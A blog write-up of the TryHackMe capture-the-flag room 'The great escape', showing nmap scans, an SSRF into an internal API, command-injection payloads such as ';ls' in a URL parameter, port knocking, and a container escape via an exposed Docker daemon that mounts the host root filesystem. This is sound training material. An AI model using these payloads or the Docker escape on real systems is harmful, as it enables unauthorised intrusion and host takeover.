This page looks best with JavaScript enabled

The great escape

 ·  ☕ 12 min read  ·  ✍️ T4r0

https://tryhackme.com/room/thegreatescape

Summary

This room was a competition with some great prizes on Tryhackme. It has an interesting SSRF for foothold, then we need to enumerate the system through command injection in a hidden API. Once done with that, we can open an exposed docker daemon via port knocking and exploit that to escape the containerized enviroment.

Exploring the target

First things first, after deploying the box and getting an IP, I started with an nmap scan. In fact, I usually run 2 nmap scans, one to quickly grab the open ports, then one to enumerate the running services in more details, so I’ve ran the following two commands:

1
nmap -sS -T4 -Pn <IP>

To grab the open ports, then:

1
nmap -sC -sV -Pn -T4 -p <PORTS I GOT FROM PREV SCAN> <IP>

To enumerate service headers and versions.

This gave us the following result:
Nmap result

The ssh looked quite interesting, since nmap had some issues deciding if it’s really ssh or not, so I’ve decided to poke it a bit. First I connected to it with netcat and telnet to see if I get something back, but nothing interesting happened.

My next idea was to connect to the port via an actual ssh client in verbose mode, and see if i get back anything.

The command to do this is very simple, just do the following:

1
ssh -v root@<IP>

Since root is an existing user most of the time, we can try connecting with it, -v tells ssh to be verbose about what’s happening in the background.

The server seemed to send back random looking strings with equal time intervals between them. It immediately clicked, since I’ve personally used this tool before, when hosting our first CTF that this HAS to be endlessh, which is kinda like an ssh honeypot that “captures” ssh bruteforcing bots. Endlessh works by sending back infinitely long ssh banners, which happens before the authentication, so the client trying to connect to the server never gets to actually authenticate. The room creator probably used this to troll less experienced hackers, who just bindly fire away tools at every service they see.

After realising that the ssh is a troll, I immediately decided to move on to enumerating the service on port 80.

I was greeted by a web application, and the main page said Photo classroom. Looks like we have some kind of an online course app, maybe with an LMS behind it. A quick look at Wappalyzer told me that the app is most likely running with a Node.js backend, and Vue.js and Nuxt.js frontend. Looks like we have an app made with these modern fancy JS frameworks, I shall have fun breaking it :).

After clicking all the visible links, it looked like we need to log in to be able to do anything, but we didn’t know any username password combos, and the sign up function was disabled (tried to bypass it, didn’t really work).

Foothold

First of all, if you are looking for the web flag, there’s more on that at the end of the writeup, since I’ve only found it after getting full root access and enumerating.

After looking at the obvious stuff, i usually check robots.txt, so i did exactly that (can literally see it from the nmap scan too).
This gave me the following data:

1
2
3
4
5
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$

Okay, this looks interesting! So I started looking at the directories found here, after checking out /api, it looked like it isn’t that interestign for now. I’ve tried to fuzz the /api endoint for a bit, but do NOT fuzz this box. Now I know the rate limiting on the box is intentional because found some config on it later, but the box actually crashes completely if you send requests too fast (nice lesson on having to be careful when poking at live targets). Not sure if the crashing was intentional or not, but I had to restart the box a few times in the process, so if you are doing this box, I’d recommend not fuzzing it (limiting the requests to 2 sec intervals in burp pro intruder worked, but was extremely slow and painful, and couldn’t find anything anyways).

So no fuzzing, let’s see the other endpoint. After checking out /exif-util, it looks like it’s a tool to get exif data out of files. Nice, this is the only actual functionality aviable on the site for us. We can upload files, or provide an URL for a file. I’ve tried uploading Node.js shells with changing the extension and the magic bytes and stuff, but none of that worked. I’ve also uploaded a file via URL from my attacker box, and saw the request actually hit my box, so I tried all the SSRF payloads I know (I have a decent methodology on it in my private notes). None of the SSRF bypasses or tricks I know worked. I also tried to do some command injection, since the app was running some kind of a java app in the background (got this from poking the app a bit), and it downloaded the files when providing an URL using curl. None of these worked, there was proper filtering. After getting stuck here for a while, I’ve moved on.

Well, it was time to check out the last entry from robots, which is a simple regex for all files ending in .bak.txt. Honestly, first I thought there’s gonna be some password backup or something on the server, so I started fuzzing it with the previously mentioned 2 sec delay between requests, but after waiting quite a while, I got nothing. Well, as a last resort, I’ve tried combining the stuff that was in front of me. I’ve tried /exif-util.bak.txt and got a promising-looking result!

The request returned this.

It’s easy to spot the relevant stuff for us, it’s in row 44:

1
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {

Well that to me looks like a perfect target for SSRF in the exif-util URL parameter.
First I’ve sent a request to http://api-dev-backup:8080, and even though it returned an error, after the error message I’ve got the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
        An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Nothing to see here</title>
</head>
<body>

<p>Nothing to see here, move along...</p>

</body>
</html>

Looks like we have something interesting! Based on the name api-dev-backup it looks like a developer version of the publicly accessible api. The public api sends requests when providing an URL like this:

1
GET /api/exif?url=aaaaaa

Since we got the Nothing to see here message by sending a request to the root of the internal server, it looks like we don’t have a /api there, and the api is actually accessible at the root. Using this knowledge we can make the following request:

1
http://api-dev-backup:8080/exif?url=-

This broke the app and once again confirmed that curl is being used. Often times, developer applications don’t have proper security implemented, this is seen in real life scenarios many times too. I’ve tried the stuff I’ve tried on the public api, and almost immediately got a hit with a really simple OS command injection payload:

1
http://api-dev-backup:8080/exif?url=;ls

This gave me an error, but under the error I had directory listing information:

1
2
3
4
5
6
7
8
9
        An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
application

I’ve tried to get a reverse shell to be able to enumerate easily, but it looked like the internal developer api had no outbound communication allowed. Not sure if I could have made it work, but at that time I’ve decided to just enumerate the system via this web based command injection.

User

At this point I still haven’t gotten the web flag and had no idea where to look for it. There was a hint about it: Some well known files may offer some help, I just assumed the well known file is robots.txt, so wasn’t sure what to do with it, so I just continued with the command injection.

After running id, it looked like we had root! This is great, but from the room challenge names I knew it’s most likely just root in a docker container, and not “real” root. Anyways, I’ve listed root’s directory with the following command:

1
http://api-dev-backup:8080/exif?url=;ls -la /root

And I’ve got:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
        An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
total 28
drwx------ 1 root root 4096 Jan  7 16:48 .
drwxr-xr-x 1 root root 4096 Jan  7 22:14 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7 16:48 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt

Let’s see that dev-note.txt :)

1
2
3
4
5
6
7
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

Okay, we got a username password combination, since I knew that ssh is not a real ssh server, I’ve tried loggin in with it on the webpage, but nothing (spoiler: this username and password is completely useless). Okay fine, let’s see the hidden .git directory, and let’s see the commit history:

1
http://api-dev-backup:8080/exif?url=;git -C /root/ log

Okay now this is interesting:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

Let’s see that a3d30a7d0510dc6565ff9316e3fb84434916dee8 commit!

1
http://api-dev-backup:8080/exif?url=;git -C /root show a3d30a7d0510dc6565ff9316e3fb84434916dee8

Boom, easy flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports REDACTED to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{REDACTED}
\ No newline at end of file

Not only did we get the 2nd flag, we also see that after performing some port knocking, we can open a docker daemon for remote administration, which should make escaping the docker enviroment possible.

I’ve used this tool to do the port knocking, since it’s simple and fast. Command is:

1
knock your.server.com port1 port2 port3 ...

It’s known that the docker daemon uses port 2375 by default, and after performing the knocking and running a single port nmap scan, I could confirm that the port appeared open!

Root

To be honest there wasn’t much work to get “real” root after this. If someone knows docker escaping methods (great room for it on THM is the docker rodeo), then the path to real root is obvious. If there’s an open docker daemon, we can run remote docker commands on it with the following syntax:

1
docker -H tcp://<IP>:2375 ps

I’ve ran

1
docker -H tcp://10.10.193.193:2375 images

to see if we have an easy win, and indeed we do! There’s alpine listed among the aviable images, so we don’t even need to put it on the box, we can just use a trick that mounts the host system to get root on the “real” file system:

1
docker -H <IP>:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh

And that is all to it! This drops us into an sh shell on the host system, and we can grab the final flag from /root/flag.txt:

1
2
3
Congrats, you found the real flag!

THM{REDACTED}

Late web flag :/

So I just couldn’t find the web flag the “proper way”. Wappalyzer showed me that nginx is the runnign webserver, so I knew where to look for server files:
It was in the frontend docker at /usr/share/nginx/html/.
I attached to the container with:

1
docker -H <IP>:2375 exec -it dockerescapecompose_frontend_1 /bin/bash

I could see that there is a .well-known directory, with security.txt inside. This is a file that is used by companies to tell white hat hackers how to properly report a bug they might have found on the company’s site. Should have guessed it from the hint, but I’ve found it still, just with another method and after rooting. This didn’t give an immediate flag, the file contained the following text:

1
2
3
4
5
6
7
Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/REDACTED with a HEAD request for a nifty treat.

This can be very easily done:

1
curl --head http://<IP>/api/REDACTED

And this gave:

1
2
3
4
5
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 17 Feb 2021 20:51:19 GMT
Connection: keep-alive
flag: THM{REDACTED}

The room is officially completed!

Credits

Great box, foothold was a little bit guessy for me, but everythign after was really interesting and real-life-like. Room made by hydragyrum, and the giveaway provided by Fawaz, I’d like to thank both of them, especially Fawaz for the giveaway!

Share on
Support the author with

T4r0
WRITTEN BY
T4r0
Penetration Tester